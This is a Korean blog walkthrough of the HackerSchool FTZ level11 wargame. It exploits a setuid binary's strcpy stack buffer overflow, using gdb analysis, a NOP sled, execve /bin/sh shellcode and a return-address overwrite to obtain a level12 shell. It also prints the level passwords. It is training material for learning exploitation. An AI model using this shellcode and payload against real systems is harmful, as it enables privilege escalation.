[ftz] hackerschool level11 풀이
- 보안/HackerSchool-ftz
- 2019. 11. 14. 10:00
hackerschool level11 풀이
실행 환경 : VMware Workstation Pro, Red Hat Linux 9.0
참고 도서 : 문제 풀이로 배우는 시스템 해킹 테크닉
** 공부를 하면서 기록하는 내용이다 보니 틀린 내용이 있을 수도 있습니다. 틀린 부분이 있다면 댓글로 알려주시면 감사드리겠습니다. **
login as: level11 level11@192.168.31.128's password: |
level11 문제의 아이디인 level11 와 password인 what!@#$? 을 입력하여 level11의 유저로 접속합니다.
[level11@ftz level11]$ ls -l total 28 -rwsr-x--- 1 level12 level11 13733 Mar 8 2003 attackme -rw-r----- 1 root level11 168 Mar 8 2003 hint drwxr-xr-x 2 root level11 4096 Feb 24 2002 public_html drwxrwxr-x 2 root level11 4096 Nov 2 05:45 tmp |
ls -l 명령어를 사용하여 현재 위치( /home/level11 ) 아래에 있는 디렉터리의 목록을 확인합니다.
목록들 중 hint 파일을 읽어 어떤 식으로 문제를 풀어야 하는지 보도록 하겠습니다.
#include <stdio.h> #include <stdlib.h> int main( int argc, char *argv[] ) { char str[256]; setreuid( 3092, 3092 ); strcpy( str, argv[1] ); printf( str ); } |
cat 명령어를 사용하여 hint 파일을 확인해본 결과 위의 코드와 힌트를 볼 수 있습니다.
strcpy를 보고 이 문제가 버퍼오버플로우를 이용한 문제라는 것을 알 수 있습니다.
[level11@ftz level11]$ cp attackme ./tmp/level11 [level11@ftz level11]$ ls -l tmp/level11 -rwxr-x--- 1 level11 level11 13733 Nov 2 05:45 tmp/level11 |
문제를 풀기 전 퍼미션 문제 때문에 attackme 파일을 tmp 폴더 안에 복사하도록 하겠습니다.
[level11@ftz tmp]$ gdb level11 ... (gdb) disas main Dump of assembler code for function main: 0x08048470 <main+0>: push %ebp 0x08048471 <main+1>: mov %esp,%ebp 0x08048473 <main+3>: sub $0x108,%esp 0x08048479 <main+9>: sub $0x8,%esp 0x0804847c <main+12>: push $0xc14 0x08048481 <main+17>: push $0xc14 0x08048486 <main+22>: call 0x804834c <setreuid> 0x0804848b <main+27>: add $0x10,%esp 0x0804848e <main+30>: sub $0x8,%esp 0x08048491 <main+33>: mov 0xc(%ebp),%eax 0x08048494 <main+36>: add $0x4,%eax 0x08048497 <main+39>: pushl (%eax) 0x08048499 <main+41>: lea 0xfffffef8(%ebp),%eax 0x0804849f <main+47>: push %eax 0x080484a0 <main+48>: call 0x804835c <strcpy> 0x080484a5 <main+53>: add $0x10,%esp 0x080484a8 <main+56>: sub $0xc,%esp 0x080484ab <main+59>: lea 0xfffffef8(%ebp),%eax 0x080484b1 <main+65>: push %eax 0x080484b2 <main+66>: call 0x804833c <printf> 0x080484b7 <main+71>: add $0x10,%esp 0x080484ba <main+74>: leave 0x080484bb <main+75>: ret 0x080484bc <main+76>: nop 0x080484bd <main+77>: nop 0x080484be <main+78>: nop 0x080484bf <main+79>: nop End of assembler dump. |
level11 파일을 gdb로 분석해보도록 하겠습니다.
disas main 명령을 통해 main의 어셈블리 코드를 보겠습니다. 우리는 여기서 빨간색 부분을 집중해 보도록 할 것입니다.
1. 0x08048473 <main+3>: sub $0x108,%esp 0x08048479 <main+9>: sub $0x8,%esp
첫 번째 부분인 sub $0x108, %esp와 sub %0x8 를 보면 총 264의 부분을 스택에 할당한 것을 알 수 있습니다. hint 코드상에서 str의 크기는 256바이트였기 때문에 264 - 256을 한 8byte는 dummy 공간입니다.
2. 0x080484a0 <main+48>: call 0x804835c <strcpy>
두 번째 부분인 strcpy 부분을 보면 위의 push 두 부분이 strcpy의 인자 값으로 들어가는 것이고, hint 코드와 반대로 argv[1]이 stack에 먼저 들어가고, 그 뒤 str이 들어가므로 esp - 0xffffffef8을 2의 보수 한 값이 str의 위치라는 것을 알 수 있습니다.
앞의 ffffff은 1의 보수를 취하면 결국 다 0으로 되므로 뒤의 ef8만 가지고 2의 보수 결과를 보겠습니다.
111011111000 => 000100000111 => 000100001000 => 256 + 8 = 264
str의 시작 지점이 esp - 264부터인 것을 알 수 있습니다.
메모리 구조를 보면 아래와 같습니다.
뒤에서 argv를 이용하기 때문에 argv까지 표시해주었습니다.
(gdb) b *main+53 Breakpoint 1 at 0x80484a5 (gdb) r `python -c 'print "A"*256'` Starting program: /home/level11/tmp/level11 `python -c 'print "A"*256'` Breakpoint 1, 0x080484a5 in main () (gdb) x/100x $esp 0xbffff640: 0xbffff650 0xbffffb38 0xbffff670 0x00000001 0xbffff650: 0x41414141 0x41414141 0x41414141 0x41414141 |
strcpy까지의 결과를 확인하기 위해 strcpy 다음 라인인 main+53에 breakpoint를 걸도록 하겠습니다.
x/100x $esp 명령을 통해 esp를 기준으로 스택영역의 내용을 볼 수 있습니다.
확인해보면 A가 채워지는 지점이 0xbffff650이라는 것을 알 수 있습니다. 그럼 이제 아래의 방식대로 문제를 풀어보도록 하겠습니다.
위의 메모리 구조를 보면 ret 전까지 총 268byte가 있습니다. 그 268byte 안에 25byte 셸 코드와 나머지를 \x90을 넣어서 채운 뒤 ret 주소에 str 시작 지점을 넣어 str로 다시 리턴되게 만들도록 하겠습니다. 리턴 코드의 경우 리틀 앤디안 방식으로 넣어주어야 합니다.
리틀 앤디안 방식으로 넣어준다는 것은 0xbffff650으로 예를 들자면 \x50\xf6\xff\xbf의 순서대로 넣어준다는 의미입니다.
셸 코드
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89
\xe1\x89\xc2\xb0\x0b\xcd\x80
[level11@ftz level11]$ ./attackme `python -c 'print "\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x 80"+"\x90"*143+"\x50\xf6\xff\xbf"'` Segmentation fault |
페이로드를 위와 같이 짰습니다. 100byte는 아무 의미 없는 \x90으로 채우고 25byte를 셸 코드로 채웠습니다. 그리고 268 - 125를 했을 때의 남은 byte를 다시 의미 없는 \x90으로 채운 뒤 return 부분에 방금 알아냈던 str의 시작 지점을 넣어주었습니다. 하지만 결과는 segmentation fault에러가 뜨게 됩니다.
그 이유는 gdb를 실행해서 run을 할 때마다 str의 시작지점이 바뀌기 때문입니다. 그래서 다른 방법을 생각해보았습니다. hint 코드를 보면 argv[ ]를 이용해서 문자를 입력받고, argv[1]의 값을 str에 넣는 것을 볼 수 있습니다.
페이로드를 보면 ./attackme가 argv[0]을 나타내고 그 뒤의 'python ~ ' 부분이 argv[1]을 나타내기 때문에 똑같이 페이로드를 구성하되 return 주소를 argv[1]의 시작 주소를 넣어주면 되지 않을까 싶었습니다. 다시 gdb로 돌아가서 앞에서와 똑같은 방식대로 main+53에 breakpoint를 걸고, r `python -c 'print "A"*256'`으로 실행해보았습니다.
0xbffffae0: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffaf0: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffb00: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffb10: 0x00000000 0x00000000 0x38366900 0x682f0036 0xbffffb20: 0x2f656d6f 0x6576656c 0x2f31316c 0x2f706d74 0xbffffb30: 0x6576656c 0x0031316c 0x41414141 0x41414141 0xbffffb40: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffffb50: 0x41414141 0x41414141 0x41414141 0x41414141 |
0x00000000로 반복되다가 0x41414141이 시작되는 지점이 있습니다. 저 부분이 바로 argv[1]의 시작 지점입니다. gdb에서 보이는 argv[1]의 시작 지점은 0xbffffb38이고 이제 이 주소를 가지고 페이로드를 구성해 실행해보도록 하겠습니다.
처음 구성했던 페이로드에 return 주소만 0xbffffb38로 바꾸어 실행해주었고, 그 결과 level12의 셸을 취득할 수 있었습니다.
[level11@ftz level11]$ ./attackme `python -c 'print "\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x 80"+"\x90"*143+"\x38\xfb\xff\xbf"'` sh-2.05b$ id uid=3092(level12) gid=3091(level11) groups=3091(level11) |
그리고 my-pass를 입력하게 되면 level12의 패스워드가 나오게 됩니다.
level12 비밀번호
Level12 Password is "it is like this".
'보안 > HackerSchool-ftz' 카테고리의 다른 글
[ftz] hackerschool level13 풀이 (0) | 2019.11.21 |
---|---|
[ftz] hackerschool level12 풀이 (0) | 2019.11.16 |
[ftz] hackerschool level10 풀이 (0) | 2019.11.13 |
[ftz] hackerschool level9 풀이 (0) | 2019.11.11 |
[ftz] hackerschool level8 풀이 (0) | 2019.11.09 |
이 글을 공유하기